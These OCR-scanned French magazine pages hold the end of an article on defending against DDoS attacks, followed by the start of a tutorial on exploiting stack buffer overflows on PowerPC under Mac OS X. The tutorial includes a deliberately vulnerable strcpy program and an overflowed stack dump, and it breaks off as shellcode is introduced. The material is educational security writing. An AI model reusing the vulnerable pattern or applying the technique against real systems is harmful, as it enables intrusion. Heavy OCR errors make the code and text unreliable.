particularités, avantages et inconvénients, ne sera sans doute pas
évidente a déployer mais offrira une grande aide dans le suivi des
opérations.

Action sur les services ;

On peut utiliser une technologie CDN (Content Delivery Network)
pour protéger ses serveurs web par exemple. Lutilisation de
serveurs de cache positionnés a des endroits judicieux sur
Internet a l'exemple de ce que propose Akamai [12] a permis
a Microsoft de garder www.windowsupdate.com en ligne
au moment de Blaster [13], virus dont une des fonctions était
de lancer un déni de service sur le site de mises a jour pour
empécher les postes de récupérer le correctif de la faille utilisée
pour la propagation virale. Si a la base le souci était de fluidifier
le trafic, 'avantage en termes de sécurité est assez vite devenu
flagrant et l'utilité de cette technologie prouvée, On retrouve
comme modes de fonctionnement :

+ soit dupliquer les mémes informations sur tous les serveurs

du reseau ;

+ soit rediriger les clients vers le serveur le plus adéquat (par
exemple le plus proche ou le moins charge).

Pendant l'attaque

Il faut d'abord la détecter et s'il existe des méthodes spécifiques
a l'exemple des télescopes réseau [38] (figure 1), dans le cadre
d'une entreprise, il vaut mieux compter sur les méthodes et
moyens decrits ci-dessus,
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Plusieurs options se présentent suivant que l'attaque est locale
et que des ressources technigues sont présentes ou pas. Dans le
premier cas (figure 2), le plus favorable, I'administrateur accede
aux equipements actifs et peut directement agir dessus.
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C'est moins évident dans le cas d'un probléme distant ou
aucune compétence technique n'est présente sj ce n'est celle des
utilisateurs qui éprouvent des difficultés a utiliser les eéquipements
(figure 3).
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Clest ici que I'importance d'avoir mis en ceuvre certaines des
solutions citées auparavant a |'exemple des sondes, d'un NSM
ou d'outils dédies apparait clairement. Une fois que le ou les
administrateurs ont acces a cette l'information, il faut avoir
acces aux equipements actifs (routeurs, firewalls, switchs, etc.)
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pour positionner des filtres ou deriver les flux suspects. Un
probleme se pose lorsque les ressources sont en train de subir
Iattaque et qu'il est difficile de les joindre et d'agir dessus. Il est
important d'avoir un réseau de management dédié qui utilise des
liens séparés de ceux de services (figure 4) ou I'administration
seffectue soit par un LAN dédie pour le firewall local soit grice a
une connexion modem (RNIS ou autre) pour le lien distant.
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Il reste un des plus gros problemes a savoir le rapport de force
entre le nombre de paquets/octets requs et |la bande passante
disponible. Les attaques subies par Gibson Research Corporation,
la premiere de type DDOS [14] puis ensuite DRDOS [15] mettent
en evidence une chose non évidente au premier abord mais
primordiale, le fait de pouvoir joindre et travailler de concert
avec votre ISP. Cela ne se prépare pas a la derniére minute et
ce n'est pas une fois que I'on est assailli qu'il faut se préoccuper
de chercher le numero de téléphone et le nom de la personne a
contacter. Des procedures claires, précises, validées de chaque
cate et bien siir testées sont nécessaires. Nous verrons plus loin
pourguol il est primordial de pouvoir s'appuyer sur le fournisseur
d'acces a Internet.

Actions sur les réseaux

Tout d'abord le réseau de la victime. |l faut mettre en place des
moyens qui contrélent la charge réseau et puissent agir en cas
de debordement. Une des méthodes (I'approche de type on-
off) liee aux routeurs consiste a surveiller les differents buffers
et, sur depassement d'un certain seuil, a basculer I'équipement
actif dans un mode de fonctionnement dégrade pour réguler le
trafic. A ce stade, les seuls paquets identifies comme étant Ia
cause des problemes seront éliminés et la regulation stoppéee
des que la charge des buffers aura diminuée. La méthode utilisee
dans le projet EMERALD (Event Monitoring Enabling Responses to
Anomalous Live Disturbances) [18] propose une approche distribuée

qui combine analyse de signatures et calculs statistiques pour
detecter les anomalies de trafic sur les reseaux.

Un autre moyen consiste a utiliser la QOS (Quality of Service)
pour limiter les differentes catégories de flux. L'administrateur
détermine les trafics prioritaires et choisit des actions a mener
pour ne pas penaliser les paquets légitimes. Cependant, il faut
noter que les mécanismes de protection seront mis en échec
lorsque le trafic d'attaque aura les mémes caractéristiques que le
trafic legitime ou que le volume de donneées « illégitimes » dépasse
les possibilites de filtrage des equipements de securite. Differents
types de produits souvent présentés sous forme d'appliance
sont aujourd'hui disponibles : les solutions d'lpanema [33],
Packeeter [34] ou encore Streamcore [35].

Il faut aussi limiter le nombre maximum de sessions autorisees
simultanement par source vers un service donne. On evite ainsi
la problématique liée aux flux de retour qui de fagcon générale
sont plus conséquents en termes de volumétrie que la requéte
initiale.

Vient ensuite le réseau intermédiaire {appele aussi backbone)
ou les possibilités d'agir pour eviter le deni de service sont plus
importantes que sur le réseau de la victime qui lui a toutes les
chances d'étre inoperable. En regle génerale, les opérateurs
possedent des capacites importantes en bande passante et des
facilités a gerer |'avalanche de paquets ce, non seulement entre
la victime et lui-méme, mais aussi sur ses propres liens upstream
vers les autres opérateurs. Imaginons que vous dépendiez d'un
des operateurs nationaux et que la majorité des soucis viennent
de |'etranger, I'ISP, en bloquant sur ses routeurs de périphérie les
paquets offensifs, permettra (au moins) que dans le perimetre
reseau qui est le sien l'attaque soit plus limitee. Ses outils et
moyens de traitement sont mieux adaptes et seront d'une aide
precieuse afin d'effectuer une analyse une fois la periode de crise
finie.
Il ne faut pourtant pas penser que tout est facile au niveau du
deploiement des solutions et il est impertant de prendre en
compte les éléments suivants :

+ dégradation des performances liée a la nécessite de

caractériser et limiter le trafic ;

+ difficultes de detecter les attaques d'ou [e besoin d'etre
alerte par la victime. Celle-ci doit d'ailleurs faire I'objet d'une
authentification afin de se prémunir des fausses alertes et d'une
consommation inutile des ressources systeme.

+ manque de coopération entre les difféerents domaines
d'intervention, car il n'est pas simple d'établir des procédures
precises avec les bons interlocuteurs. La phase de deploiement
en particulier n'est pas toujours évidente car la plupart
des methodes s'appuient sur une participation de tous les
intervenants. Dans le cas contraire, il y a le risque de voir les
performances amoindries et le résultat fausse.

La mise en ceuvre de divers mécanismes, soit (type traceback [36])
necessitent une installation distribuee pour étre efficace et
donnent des informations sur les machines faisant partie du DOS,
soit (type pushback [37]) aident a se défendre contre les attaques.
Il faut aussi mettre en ceuvre des mecanismes de filtrage de type
Ingress et Egress (déja cites) pour limiter les risques d'usurpation.
A ce sujet, méme cette notion de spoofing n'est pas obligatoire
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pour realiser un DDOS, c'est de I'intérét du « maitre » de garder
le plus possible de machines sous sa coupe afin de pouvoir les
utiliser a nouveau plus tard.

Le troisieme et dernier endroit reléve du réseau source ainsi
appelé car étant celui ou se trouvent les machines « zombies »,
il est assez facile d'imaginer que plus le DOS est stoppé prés
de la source, moins les ressources et réseaux traversés par
les flux seront impacteés, réduisant de fait la dangerosité de
l'attaque. Il n'est pas evident de se rendre compte que quelque
chose « cloche » du coté du reseau qui heberge les machines
piratées, car bien souvent il s'agit de machines sans surveillance
particuliere qui font parties de grands systémes d'informations.
Les symptémes ne sont pas les mémes coté source et victime et
autant il est facile (et encore) de se rendre compte d'un probleme
quand on est la cible, du coté de la source le flux coupable est bien
souvent dilué dans la masse et peut passer pour quelque chose
de tout a fait normal, a I'exemple d'une attaque par réflexion qui
utilise des serveurs web en rebond.

Lintérét de déployer des systemes de protection le plus possible
en amont comporte beaucoup d'avantages. Prenons une cible C
et deux réseaux A et B géres par un attaquant. Si l'administrateur
du réseau A ne permet pas que les flux d'attaque de ses machines
rentrent sur Internet, C ne regoit que les flux venant de B, ce
qui donne :

# une consommation moindre de |la bande passante ;

+ une utilisation plus faible des ressources systéme ;

+ une facilité pour rechercher les sources et méthodes mises
en ceuvre.

p- (]
Apres l'attaque
Il faut mettre en place une équipe qui sera chargee de regrouper
toutes les informations possibles sur l'attaque, ne serait-ce que
pour identifier les moyens et méthodes mises en ceuvre et éviter
gu'elle ne puisse se reproduire.

La récupération des logs fournis par les differents équipements de
sécurité et I'analyse de ceux-ci devront permettre une recherche et
identification des hosts faisant office de zombies afin de permettre
gu'ils soient mis hors service et nettoyés. Ne pas oublier non plus
que les différents journaux serviront de base afin de rechercher
les responsabilités et engager des poursuites judiciaires vis-a-vis
de la (des) personne(s) a l'origine de |'attague.

Conclusion

Subir un DDOS et pouvoir s'en protéger impliquent
beaucoup de choses a faire sans avoir une garantie de
résultat. Les domaines de prévention et d'intervention
sont nombreux et impliquent des moyens physiques,
humains, des competences techniques et des procéedures
bien etablies. A cette seule condition, les effets liés aux
attaques seront limites et fourniront une possibilité de s'en
sortir le mieux possible.
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Eating apples for fun and profits

De plus en plus de geeks sont équipés avec des iBooks
ou de PowerBooks, les ordinateurs portables d'Apple.

L'exploitation de failles dans les programmes est
particuliérement bien connue sur les architectures type
x86 et la bibliographie est abondante. En revanche,
il y a assez peu de choses disponibles sur le PowerPC.

Cet article traite de I'exploitation d'un débordement
de pile « classique » sur architecture PowerPC et
systéme d'exploitation Mac OS X. Quelques points
de comparaison avec I'environnement x86 sous Linux
seront également donnés pour aider a la compréhension.

Introduction

Reussir a exploiter un debordement de buffer depend de tres
nombreux parametres: le processeur sur lequel tourne le
programme cible, le systeme d'exploitation, et enfin, et non
des moindres, le programme vulnérable lui-méme. Cet article
présente successivement tous ces points.

Precisons que tous les tests ont ete realises sur Jaguar (Mac OS
X 10.3) et n'ont pu encore étre realises sur Tiger (Mac OS 10.4).
Il se pourrait donc que certaines informations evoluent...

Architecture du processeur
PowerPC

Le modeéle du PowerPC

L'architecture PowerPC (PPC) est née d'une collaboration entre
Apple, IBM et Motorola. Un premier processeur était disponible
des 1993 (cf. [Mik] pour une histoire plus detaillée). Le nom
PowerPC vient de la fusion entre l'architecture POWER (Power
Optimization With Enhanced RISC) développee par IBM et celle
de Motorola appelee PC (Performance Computing and not Personal
Computer).

Actuellement, les processeurs PowerPC sont utilisés par Apple
(comme les G4, G5 actuellement), par IBM (pour des serveurs
et des super-calculateurs comme Blue Gene) et Motorola (par
exemple pour des contrdleurs sur des voitures), mais aussi par
Nintendo pour ses consoles Game Cube.

L'architecture PowerPC définit les composants suivants :
+ Instruction set : cet ensemble définit les instructions (Ioad,
store, branch, etc.), le codage de ces instructions et les modes
d'adressage pour accéder a la memoire.

* Programming model : ce modele definit le mode d'utilisation
des registres et les conventions liees a la memoire, ce qui
comprend l'ordre des bits et octets (endianness) et la maniére
dont les données sont stockees.

+ Memory model : ce modele définit la taille de I'espace
d'adressage et comment il est divise en pages, ainsi que les
attributs (gestion d'un cache par exemple) et mécanismes de
protection (droit d'écriture, lecture, execution).

+ Exception model : ce modele definit I'ensemble des
exceptions et des conditions qui provoquent ces exceptions,
leurs caracteristiques (synchrone ou non, masquable ou non,
etc.). Par consequent, on definit ici un vecteur d'exceptions
(exception vector) et les registres utilisables dans ce contexte
d'execution.

+ Memory management model : ce modele definit le
partitionnement de la memoire, sa configuration et protection,
ainsi que les mecanismes de translation entre les differents
modeles de représentation de la memoire.

+ Time management : ce modele définit les mecanismes
relatifs 4 la gestion du temps, comme |a sauvegarde de |'heure
courante ou les exceptions liées aux timers.

En fait, cette architecture est extrémement modulaire, pour
assurer une compatibilite maximale entre tous les processeurs
de cette famille. Pour cela, I'architecture est decomposée en 3
niveaux (appelés « book »), chacun correspondant a un ensemble
d'instructions :

® Book I: user instruction set architecture

Ensemble d'instructions partagees par toutes les
implementations de PowerPC. Ces instructions fonctionnent
en mode non privilegié et sont utilisables par tous les
programmes. || détermine egalement les registres utilisables
au niveau utilisateur, les types de données et le modéle des
exceptions du point de vue de l'utilisateur.

® Book 2: virtual environment architecture

Ensemble des instructions non privilegiées pour |' u:nllsateur
mais fournissant des fonctionnalites tres specifiques, comme
la gestion des caches ou des timers. Ces fonctionnalites sont
en genéral realisees par le biais d'appels systeme. Il definit
egalement le modele de la memoire pour des environnements
ou de multiples devices peuvent acceder a la memoire.

® Book 3 opera:mg environment arch;tecture

Ensemble d'instructions prwniegmes reallsees d|rectement
par le systeme d'exploitation, comme la gestion de la
memoire, la synchronisation, la gestion des exceptions et des
interruptions.

Ainsi, que Motorola ou IBM cree une puce, la compatibilite est
neanmoins assuree puisqu'elles utiliseront un ensemble commun
d'instructions au niveau utilisateur. Par exemple, ['Application
Binary Interface (ABI), qui détermine la maniere dont les fonctions
sont appelees (voir ci-aprés), reste compatible entre tous les
systemes.
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Toutefois, bien qu'il y ait une bonne compatibilité, il y a
egalement une certaine latitude entre les differents niveaux de
l'architecture PowerPC, ce qui donne lieu a des implémentations
tres variees :
 Certaines ressources sont optionnelles, comme quelques
registres ou certains bits de certains registres, des instructions
ou encore des exceptions.

* Les implementations peuvent définir des Special Purpose
Registers (SPR), qui possédent des privileges particuliers ou
bien des instructions et exceptions supplementaires.

# Les impléementations peuvent définir leurs propres
parametres. Par exemple, l'architecture peut définir les
conditions possibles provoquant une exception liée a un
probleme d'alignement, mais une implémentation peut choisir
de resoudre cette exception sans lever I'exception.

+ Les processeurs peuvent implémenter certaines
fonctionnalites avec 'aide d'une partie logicielle, par exemple
avec une trap ou un emulateur, du moment que les résultats
sont identiques a ceux specifies par I'architecture.

Comme le nom lI'indique, les processeurs PowerPC sont
des processeurs RICS (Reduced [nstruction Set Computer) qui
comportent plus de 200 instructions. lls existent aussi bien en
version 32 que 64 bits, ces derniers étant compatibles avec les
premiers.

En 32 bits, I'espace d'adressage est de 4 Go, alors qu'il est de
[6Go en 64 bits. Sur certains processeurs, acceder a une adresse
qui n'est pas alignée léve une exception, alors que sur d'autres, des
instructions supplementaires sont ajoutées pour accéder quand
méme a |'adresse demandée.

Les processeurs POWER sont concus en mode big endian.
Cependant, les PowerPC sont a bi-endian, c'est-i-dire qu'ils
peuvent travailler soit en big soit en little endian. Toutefois, ces
processeurs travaillent essentiellement en big endian mais la
compatibilité avec le little endian est assuree par le processeur ',

Adressage sur les PowerPC

Comme la plupart des processeurs actuels, les PowerPC
supportent deux modes pour l'adressage. En mode reel, les
processus accédent directement aux adresses physigues.
Inversement, en mode virtuel, les processus utilisent de la
memoire virtuelle, qui est mise en correspondance avec la
memoire physique via des mécanismes de traduction.

Les methodes pour accéder a des données ou au flux d'exécution
different radicalement. Les instructions élémentaires pour
manipuler les données sont Toad et store, alors qu'il s'agit de
branch pour le flux d'exécution.

Il existe 3 méthodes pour accéder aux donneées :

® Register indirect : l'adresse de base est contenue dans un
registre.

® Register indirect with immediate index : |'adresse de base est
contenue dans un registre et un decalage par rapport a cette
adresse est fourni en tant que valeur immédiate.

® Register indirect with index : I'adresse de base est contenue
dans un registre et un décalage par rapport a cette adresse est
fourni dans un second registre.

En plus d'acceder a I'adresse demandée, certaines instructions
réalisent en outre une opération sur le registre de base, comme
par exemple un reset.

Sur les architectures RISC, comme le PowerPC, calculer I'adresse
de l'instruction suivante est assez simple étant donne que toutes
les instructions font la méme taille. Cependant, il existe différentes
méthodes pour « sauter » vers n'importe quelle instruction.
Pour cela, on utilise I'instruction branch qui supporte 4 modes
d'adressage :

+ Branch to relative : l'adresse de la prochaine instruction est a

un emplacement relatif par rapport a la position courante.

+ Branch to absolute : I'adresse de la prochaine instruction est
a un emplacement absolu en mémoire.

# Branch to link register : 'adresse de la prochaine instruction
est contenue dans le Link Register,

#+ Branch to count register : I'adresse de la prochaine instruction
est contenue dans le count Register.

Ces deux derniers registres sont detaillés ci-apres.

Les registres du PowerPC

Les registres sont particulierement importants (et nombreux)
dans l'architecture PowerPC. En effet, comme le processeur
ne peut pas manipuler directement les adresses en memoire,
les instructions sont restreintes aux registres ou aux valeurs
littérales?.

? Une valeur littérale est une valeur directe comme une constante.
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Le PowerPC possede deux niveaux de priviléges :

® mode privilégié : il permet au processeur d'accéder a tous
les registres et d'exécuter toutes les instructions supportées
par le processeur. En général, ce mode est réservé au systeme
d'exploitation lui-méme.

® mode utilisateur : seuls quelques registres et instructions
sont utilisables, ce qui correspond aux besoins des
applications.

TaeLeau | : REMARQUES SUR LES REGISTRES

General Purpose Registers (GPR}

Registres dependants
de l'architecture

Link Register (LR)

Count Register (CTR)

Machine State Register {MSR)

Data Address Register (DAR) l

SDR{

Save and Restore Registers (SRRO-5RR1)

SPRGO-SPRG2

Data Address Breakpoint (DABR)

Registres uniguement
presents en 32 bits

Segment Registers (SRO-SRI15)

Registres uniquement
presents en 64 bits

Address Space Register (ASR)

_— T = = e

Les registres du mode utilisateur

Les registres les plus communs sont les General Purpose Registers
(GPR), utilisés pour stocker des adresses (pour les instructions
telles Toad ou store), des entiers (par exemple pour les opérations
arithmetiques comme add). lls fournissent également un moyen
d'accéder a des registres specifiques en tant que résultat de
certaines instructions. Le registre Fixed-Point Exception Register
(XER) indique guand un débordement ou une anomalie survient
lors d'une opération sur les entiers. |l contient également, pour
certaines opérations, la retenue ou encore la taille des entrées
en octets pour les instructions 1swx (Load String Word Indexed) et
Istswx (Store String Word Indexed)

De la méme maniere (ou presque), les Floating Point Registers
(FPR) permettent de manipuler des nombres a virgule flottante.
Le Floating-Point Status and Control Register (FPSCR) contient le
statut et les exceptions résultant d'opérations sur les flottants.
Ces registres ne sont pas systématiquement disponibles, en
particulier pour les architectures embarquées.

Le Condition Register (CR) est découpé en 8 parties de 4 bits,
appelées champs. Chaque champ est nomme de CRO a CR7 et
sert a un usage clairement défini. CRO sert pour comparer des
entiers, tandis que CRI sert pour les comparaisons de flottants.
lls sont ainsi le resultat implicite d'instructions qui agissent sur ces
types de données. Si les champs sont principalement utilises dans
des comparaisons, on peut aussi les récupérer dans des registres

généraux GPR (avec l'instruction mtcrf), dans un autre champ de
CR (avec I'instruction merf) ou dans un registre specifique (XER
et FPSCR, respectivement avec les instructions mcrxr et merfs).

Le Link Register (LR) indique I'adresse de l'instruction cible d'un
branchement pour l'instruction. Le probleme du saut Branch
Conditional to Link Register (bclr) : ses 2 bits de poids faible peuvent
prendre n'importe quelle valeur, mais sont ignorés quand ce
registre sert en tant qu'adresse cible (ce qui explique en partie
le probleme du saut a une adresse qui n'est pas alignee). Enfin et
surtout, il contient l'adresse de retour d'une fonction. On peut
y accéder par les instructions mtspr et mfspr a I'aide de SPR8 ou
bien avec les instructions mt1r et mfir (respectivement move to
et move from).

Le Count Register (CTR) sert de compteur dans des boucles ou
encore, dans le cas d'un branchement, d'adresse destination pour
I'instruction betr (et les 2 bits de poids faible sont ignores).

Il existe d'autres registres, comme ceux pour manipuler des
vecteurs, mais ils sortent du cadre de cette étude.

Décodage rapide de U'assemhleur PowerPC

Sur les processeurs PowerPC, les instructions sont codées
sur 32 bits, méme pour les processeurs 64 bits. Pour toutes
ces instructions, les bits 0 a 5 indiquent I'opcode principal.
La signification des bits suivants dépend alors de cet opcode
principal.

Les instructions du mode utilisateur peuvent étre classees selon
les ensembles suivants :

Instructions de branchement (Branch instructions) : elles
fournissent un moyen de modifier le flux d'execution d'un
processus, de maniere conditionnelle ou non, a l'aide d'adresses
relatwes ou absolues

-P Instructlons de condmon {Conditmn mstrucnons} elles
réalisent des operations booléennes sur des bits precis du registre
CR, comme par exemple, crand, cror, crxor, etc,, qui permettent
de combmer de multlples condltlons

+ Instructlons d' arlthmethue entiere [J'nteger arrthmetrc
instructions) : il s'agit d'operation comme l'addition, la soustraction,
la negation, la comparaison, la multiplication et la division. De
nombreuses formes existent, selon qu'on souhaite detecter un
débordement, la présence d'une retenue et ainsi de suite.

+ Instructions logiques, de rotation et de decalage (Loglca!
rotate and shift instructions) : les opérations logiques sur les
registres sont disponibles (and, or, xor), mais aussi des opérations
sur les signes (ext) ou encore pour compter le nombre de 0 dans
un registre général GPR (cnt). Toutes les rotations et tous les
décalages sont aussi présents (ri pour une rotation a gauche avec
de multiples variantes ou bien 51 pour un décalage a gauche et sr
pour un décalage a droite).

+ |Instructions pour les flottants (Floating point instructions) :
elles sont parfaitement conformes au standard 754-1985 specifie
par I'ANSI/IEEE et supportent aussi bien la simple et la double
précision. Toutes les opérations usuelles sont disponibles : fneg
pour inverser un nombre, fabs pour obtenir la valeur absolue, les
operations arithmetiques, la conversion vers et depuis des entiers
(respectivement fcti et fefi).



+ Instructions de chargement et de sauvegarde (Load and store
instructions) : avec les instructions de branchement, ce sont les
instructions les plus importantes. Elles utilisent soit les registres
géenéraux, soit des littéraux pour indiquer I'adresse a laquelle
accéder. Le type de données manipulé par l'instruction est indiqué
par la derniere lettre du mnémonique (cf. Tableau 2).

TABLEAU 2 :TYPE DE DONNEES INFLUANT LES MNEMONIQUES

b 8 octet (byte)

W 16 word

[ 32 long

s 32 single precision floating-point

d 64 double precision floating-point

X 96 extended precision floating-point
p 96 packed-decimal floating-point

+ Instructions pour la gestion du cache (Cache management
instructions) : elles permettent de vider les caches, de les remettre
azéro ou encore de les invalider (par exemple : dcb pour le data
cache et ichi pour invalider le cache des instructions).

# Instructions de gestion du processeur (Processor management
instructions) : elles fournissent le support pour les appels systéme
(sc), permettent de manipuler des registres speciaux (cf. mtir,

De nombreux details sont passés ici sous silence. Une description
plus precise est disponible dans [Ols] ou la documentation
complete [IBMO03a], [IBMO3b] et [IBMO3c].

The raise of the Apple

Dans la partie précedente, nous nous sommes préoccupé du
processeur. || est temps de passer maintenant aux logiciels qui
tournent dessus. Signalons, d'un point de vue notation, que les
registres généraux seront maintenant notés rX, ol X indique
le numéro du registre (ex : r0 correspond au registre général
GPRO), ceci afin de respecter la notation utilisée par gdb sous
Mac OS X..

La plupart des informations présentées dans ce qui suit est
egalement disponible dans la documentation d'Apple [App04].

L'appel des fonctions

La pile sur les PowerPC n'est pas gérée de la méme maniére
que sur x86 (RISC oblige). On ne trouve pas d'équivalent aux
instructions pop et push qui donnent un acces direct au sommet de

la pile, ni de registres dédiés a sa gestion, comme le base register
ebp (aussi appelé frame pointer et le stack pointer esp.

Cependant, des conventions d'appel unifiées permettent
néanmoins une certaine compatibilité entre les binaires. L'ABI
{Application Binary Interface) définit le role des registres, ceux
devant étre préserves durant |'exécution d'une fonction (callee-
save) et ceux volatiles (caller-save).

L'ABI suivie par Mac OS X est celle définie pour AlX et appelée
PowerOpen ABFP,

Cette ABI utilise un seul registre en guise de stack pointer,
placé dans GPRO, mais aliasé en SP, mais pas de frame pointer.
Cela suppose que la taille de la stack frame soit connue a Ia
compilation,

De plus, les paramétres des fonctions ne sont pas poussés sur la
pile : puisque les registres doivent étre utilisés pour toutes les
opérations, autant placer directement les paramétres dedans,
ce qui évite du « trafic mémoire » inutile. L'appelant place les
parametres dans des registres (a partir de GRP3) et l'appelée les
utilise directement. |l est par conséquent évident que le nombre
de registres limite le nombre d'argument que peut recevoir une
fonction.

La stack frame de la fonction appelante comprend de la place
pour ses propres parametres (oui, oui, les siens, pas ceux de la
fonction appelée), ainsi que des informations liées au linkage et au
flux d'exécution. La zone pour les paramétres sert si la fonction
appelle elle-méme d'autres fonctions, afin d'y sauvegarder les
registres qui ont servi a passer les arguments, avant d'y mettre
les paramétres de la fonction qui sera ensuite appelée. Quant a
la zone réserveée pour le linkage, elle fait systématiquement 12
octets et débute toujours A I'adresse pointée par le stack pointer?,
qui est en fait un synonyme pour le registre rl sur Mac OS X.

Enfin, un peu de place est également réservée par la fonction
appelée pour sauvegarder les registres de la fonction appelante qui
seront utilisés lors de l'exécution de I'appelée. Ainsi, |'appelante
pourra retrouver les bonnes valeurs aux bons endroits lorsqu'elle
reprendra le cours normal de son activite (ou pas dans la cas d'un
débordement ;-). Enfin, de la place pour les variables locales est
également allouée dans la stack frame par la fonction appelée.

Ainsi, la stack frame est allouée par I'appelée. Néanmoins,
certaines de ses propres données sont stockées dans une zone
allouée par la fonction qui I'a appelée (cf. figure I).

Lors de I'exécution d'une fonction, trois étapes influent sur la
pile et les registres :
+ le prologue, en charge de créer la stack frame et de
sauvegarder les registres importants au bon déroulement du
programme ;

+ |'épilogue qui gere le nettoyage de la pile, et la restauration
des registres sauvés lors du prologue ;

+ le transfert des parametres de |'appelante vers |'appelée.

! Ce registre pointe le sommet de la pile qui correspond a I'adresse Ja plus basse car la pile est decroissante.

o
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Lors de la suite de l'article, nous ferons référence au petit et
simpliste programme vulnérable suivant :

* yulnl.e %/
tinclude <stdio.h>

int vuln{char *str)
I.
char Buf{b4];
strepylbuf, str);
main(int &rgc, char **argu)
[

return vulntargy[11);

Programme vulnérable type cas d'école

Les instructions Assembleur ne sont pas optimisées mais bel et
bien laissées telles quelles afin de faciliter une compréhension
compléte des mécanismes sous-jacents (et cela méme si certaines
instructions sont totalement inutiles en realite).

Prologue

La fonction appelée est donc responsable de |'allocation de sa
propre stack frame. De plus, elle doit s'assurer que la pile est
bien alignée sur une adresse multiple de |6 (attention, cela peut
causer la présence de quelques mots sur la pile qui ne sont pas
utilises).

Durant le prologue, la mémoire necessaire aux 4 régions
presentées auparavant doit étre allouée. Tout d'abord, le Link
Register LR est sauvegarde dans r0, si et seulement si la fonction
appelée n'est pas une fonction terminale (feaf function®, c'est-a-
dire une fonction qui n'en appelle pas d'autre). Quand la fonction
appelée a été « branchée » par une instruction branch, le registre
LR est écrasé pour contenir |'adresse de l'instruction située
juste aprés l'appel (i. e. juste apres le branch). Cela correspond a
I'adresse de retour de la fonction, afin que la fonction appelante
puisse reprendre la suite de son deroulement. Cependant,
lorsqu'une autre fonction est appelée depuis la fonction courante,
le branch correspondant va écraser le contenu du registre LR,
qu'il est donc essentiel de sauvegarder pour se retrouver ensuite
au bon endroit. Par consequent, dans le cas de fonction non-
terminale, le registre LR est sauvegarde dans le registre r0, puis
ensuite sur la pile.

De la méme maniére, trois registres importants peuvent
potentiellement étre places dans la pile :

+ Le Link Register est sauvegardé a 8(SP) par l'appelée si
besoin.

+ Le Condition Register est sauvegardé a 4(SP) par |'appelée
si besoin.

+ Le Stack Pointer (rl) est toujours placé sur la pile par
I'appelant afin de préserver sa propre stack frame.

Rappelez-vous que méme si tous |les registres ne sont pas
sauvegardes, les 12 octets correspondants sont quand méme
alloués sur la pile.

Une fois ces registres eventuellement sauvegardes, de |a
meémoire est allouée pour la stack frame pour l'appelée. La
taille requise est calculée en fonction du nombre de registres
qui sera sauvegardé sur la pile (par déefaut, il semble que 16
octets au moins sont toujours reserves), ainsi que de l'espace
requis par les variables locales. Plus d'espace peut etre alloue
pour sauvegarder les parametres contenus dans des registres
au cas ot d'autres fonctions sont appelees®.

nfir  rl i get the Hink register
staw  r30,-Birl) . save r38 and r3l below SP
st riB(rl)  ; put LR on the stack

stwy  rl,-144(r1) ; allocate the stack frame
+ and move SP

Exemple de prologue d'une fonction non-terminale sur PowerPC

push  %ebp s put the frame pointer on the stack
may Yesp, Bebp ; move it to the top of the stack
sub §8158, %esp | allocate the stack frame

Exemple de prologue sur x86

Plus de détails sur les parameétres seront présentés par la suite.

¥ Par défaut, on a au total 64 octets au minimum : |12 pour la Linkage area, et 52 octets (i.e. |3 registres) pour les parametres.
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Epilogue & retour

Avant de quitter une fonction, la pile et les registres doivent étre
remis dans I'état qui etait le leur avant que la fonction courante
ne soit appelée.

Le code d'un épilogue de fonction non terminale est donné ci-
aprés. Premierement, le Stack Pointer est remis a son ancienne
valeur. Cela s'effectue en une seule instruction qui déplace le
registre rl a I'adresse contenue sur le sommet de la pile. Ensuite,
le Link Register est recupére, en tant qu'adresse de retour de la
fonction appelante. Enfin, les registres mis sur la pile sont remis
dans les registres concernes.

l lwz  rLBIrl) ¢ restore $P to its previous value
IWz rd,Blrl) | get the saved LR in RA
ntle  rff i restore LR from r@

[ r3f,-B(rl) ; restore the saved registers
bir i branch to address pointed by LR

Exempile d'epilogue pour une fanction non terminale sut PawerPC

Comme vous I'avez peut-étre anticipe, ces prologues et épilogues
sont seulement des exemples puisque de nombreuses choses
y sont optionnelles. Par exemple, une fonction terminale ne
s'occupera pas du registre LR puisqu'elle n'appellera pas de
fonction.

Le cas des parametres

Comme nous l'avons mentionné préecédemment, le PowerPC
utilise abondamment ses registres pour gérer les paramétres
entre fonctions. La fonction appelante place les parametres de la
fonction appelée en suivant quelques régles rudimentaires :

Il Les 8 premiers mots sont placés dans les registres
generaux allant de r3 a rl0, 2 moins qu'un paramétre ne soit
un floteant.

Les parametres flottants sont placés dans les registres
FPRI a FPRI3.

Si un flottant est présent avant que tous les registres
généraux ne soient occupes, les GPR correspondants qui
correspondent a |a taille de cet argument sont ignorés.

§'il y a plus d'arguments que de registres disponibles, ceux
restant sont places sur la pile dans la zone des parametres.

Enfin, les vecteurs sont mis dans les registres allant de v2
avl3.

Ainsi, pour |a fonction suivante :

Int foolint 11, double dl, int-12);

le premier argument il est placé dans r3. Ensuite, le double d|
est stocke dans FPR|, mais provoque |'omission de r4 et r5. Par
consequent, 'entier i2 est placé dans ré.

La figure 2 donne une description compléte de la pile. Le dump
memoire est obtenu juste aprés |'appel a strepy() dans la fonction
vuln(l.

parameters soved

rE by strepy()
\ |
V |
i \
)
{gdb) x/39x $sp . -
Oxbifffbal: bitltci 0z66020000 1‘!00\!11:184 0:000(#000
OxbEEEEbEC:
OxbfEEfcOO: Ox00000002 Oxbifffdbc Oxhiffid7B OxBfeldSic
Oxbffffcli: 0x90132814 OxBfe52a6a OxBfeSdeald OuBfeSdeald
Oxbf£Efc20: o 41 0241414 Oxdldidnal 4141
Oxbffffe30: o 1
OxbfEEEcd0: 1 l |
OxbffE£c50: Ox41dld414l Oxd41414141 Ox41414141 o 1141
Ozbfffict0: Uzﬂﬂificcﬂ 0200000000 OxbffficTO Ox000016de
ekt ffect 0200000050 0x00001det T

OxbEfffeT0;: "

registe F’s saved
by wuln{}

{vuln{)s return address)

Quand le ver entre dans I'Apple

Maintenant que nous avons vu — et compris j'espére —
I'environnement Mac OS X, il est temps de nous atteler a notre
premier exploit. Nous n'utiliserons pas ici le style d'exploit ot il
nous faudra deviner I'adresse de retour. En fait, nous placerons le
shellcode dans 'environnement, et calculerons son emplacement
exact en memaoire.

Le shellcode vite vu

Un article a lire impérativement sur la construction des shellcodes
sous Mac OS X est disponible sur Internet [B-r03]. lci, nous nous
contenterons de présenter les notions essentielles.

Tout d'abord, la construction d'un shellcode repose sur les appels
systeme. L'instruction assembleur correspondante est sc. Le
registre r0 contient le numéro de |'appel systéme qu'on souhaite
invoquer. Les arguments sont passés comme pour les fonctions
normales, au travers des registres r3 et suivants. Jusque-Ia, rien
de nouveau.

En revanche, la gestion du retour d'un appel systéeme est un
peu particuliere. Si I'appel systeme échoue, |'adresse de retour
